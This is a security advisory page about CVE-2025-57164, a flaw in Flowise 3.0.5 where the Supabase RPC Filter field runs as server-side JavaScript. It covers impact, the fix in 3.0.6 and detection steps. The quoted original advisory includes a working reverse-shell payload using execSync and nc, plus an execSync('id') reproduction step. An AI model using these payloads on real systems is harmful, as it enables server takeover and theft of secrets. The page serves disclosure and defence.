CVE-2025-57164: FlowiseAI Pre-Auth Arbitrary Code Execution
Flowise 3.0.5 compiles the Supabase node's "Supabase RPC Filter" text as JavaScript and runs it on the server. An admin who can edit a flow can run any OS command and read environment secrets. The advisory title says pre-auth, but the text requires an admin login. Fixed in 3.0.6, though the release notes do not mention this change.
Published Sep 15, 2025 · Updated Oct 17, 2025 · Analysis Nov 9, 2026
What an attacker can do
In packages/components/nodes/vectorstores/Supabase/Supabase.ts (line 237 in 3.0.5), the supabaseRPCFilter string is turned into a function without filtering, escaping or a sandbox. Whatever JavaScript is in the field runs when the node is triggered, with the privileges of the Flowise server process.
The reporters showed two results. A filter that forced an error printed environment variables, including the JWT secret, in the UI. A filter that called child_process.execSync launched a reverse shell with nc. The attacker needs an admin account on the Flowise instance, which is why the CVSS vector requires high privileges; the title's pre-auth label does not match the text. The scope is marked changed because the code escapes the Flowise application and reaches the host.
For most teams that makes this a risk from a compromised or malicious admin, or from an admin session stolen by another bug such as the Flowise XSS flaws. Once code runs, the attacker holds every secret that the Flowise process can read, such as model provider keys and database credentials, and can tamper with prompts in running flows.
Who is affected
The flowise npm package at exactly 3.0.5, according to the package data. Instances with the Supabase vector store node available are in scope. Check the version:
npm ls flowiseFor Docker, check the image tag. The data lists only 3.0.5, but the vulnerable line may exist in earlier releases; if you run an older version, upgrade anyway.
flowise
- Ecosystem
- npm
- Affected
- = 3.0.5
- Fixed in
- 3.0.6
- Check
npm ls flowise
How to fix it
Upgrade to flowise 3.0.6 or newer:
npm install -g flowise@latestThe package data names 3.0.6 as the patched version. The release notes for 3.0.6 do not mention the Supabase RPC filter. They list other security fixes: password reset endpoints, case-insensitive login lookup, secure link fetching and a chatId path traversal check. Treat the data as the source for the fix and check the current Supabase.ts after upgrading. The sources list no workaround. Until then, limit admin accounts, remove the Supabase node if you do not use it and rotate secrets if an untrusted admin had access.
How to tell if you were hit
Open your flows and check every Supabase node's RPC Filter field for code: calls to require, child_process, execSync, process.mainModule or network tools such as nc. Look for child processes started by the Flowise node process, and for outbound connections from the server to unfamiliar hosts. Check the audit trail for who edited flows. Treat JWT and provider secrets as exposed if any such code was found.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
An authenticated admin user of FlowiseAI can exploit the Supabase RPC Filter component to execute arbitrary server-side code without restriction. By injecting a malicious payload into the filter expression field, the attacker can directly trigger JavaScript's execSync() to launch reverse shells, access environment secrets, or perform any OS-level command execution.
This results in full server compromise and severe breach of trust boundaries between frontend input and backend execution logic.
Details
FlowiseAI includes a component called Supabase.ts, located at: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
This creates a function from user-provided string supabaseRPCFilter with no filtering, escaping, or sandboxing in place. Any injected JavaScript in this string is compiled and executed immediately when the node is triggered.
Exploit
We configured our environment to use Supabase entities as follows:
To confirm the vulnerability, a filter expression was crafted to forcibly raise an error and expose sensitive environment variables:
image-1 image-2
This results in the JWT secret being printed to the frontend, confirming access to server-side environment variables.
Subsequently, a reverse shell was successfully established using:
filter(process.mainModule.require("child_process").execSync("nc [REDACTED] 9999 -e /bin/sh"), "gt", 5)
This proves arbitrary OS-level command execution is possible within the FlowiseAI backend runtime context.
Steps to Reproduce
- Deploy a FlowiseAI instance with the Supabase vector store enabled.
- Login as an admin user.
- Drag in a
Supabasenode and configure "Supabase RPC Filter". - Insert a malicious payload in the filter expression, such as:
process.mainModule.require("child_process").execSync("id")
- Trigger the chatbot or workflow to activate the node.
- Observe execution of arbitrary code on the backend.
Impact
- Remote Code Execution (RCE): Full OS-level code execution from frontend user input.
- Environment Leakage: Access to sensitive env variables like
JWT_REFRESH_TOKEN_SECRET. - Reverse Shells: Ability to connect out of the server and gain interactive remote shell access.
- Persistence Risk: Attacker can install malware, establish persistence, or exfiltrate data.
- LLM Prompt Tampering: Malicious outputs may be injected back into LLM chains.
Trust Boundary Violation
The vulnerability breaks the boundary between frontend node configuration and backend execution logic. An attacker-supplied value (supabaseRPCFilter) becomes part of compiled JavaScript logic, blending user-controlled input with trusted backend execution.
This violates OWASP LLM Top 10 - LLM-06: Sensitive Code Execution, especially in low-code / visual LLM agents.
Evidence
*Environment variable leakage via malformed JSON*
*Reverse shell successfully triggered using attacker-controlled input*
Credit
This report was prepared by Team 404 Not Found 퇴근 (WhiteHat School 3rd cohort, South Korea)
Credited to Dipper37701.
Questions
- Is CVE-2025-57164 really pre-authentication?
The title says so, but the advisory text says an authenticated admin user exploits the Supabase RPC Filter field. The CVSS vector also requires high privileges.
- Which Flowise version fixes it?
3.0.6, per the package data. The 3.0.6 release notes do not describe this fix, so verify the Supabase node code after upgrading.
- What can an attacker take?
Anything the Flowise process can read, such as environment variables, the JWT secret and provider keys. They can also run OS commands and open a reverse shell.
- Is it exploited in the wild?
No source we read reports exploitation, and the entry has no CISA KEV record.
References
Read for this analysis:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.6
- https://github.com/FlowiseAI/Flowise/blob/flowise%403.0.5/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
- https://nvd.nist.gov/vuln/detail/CVE-2025-57164
- https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237
- https://github.com/advisories/GHSA-7944-7c6r-55vv
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
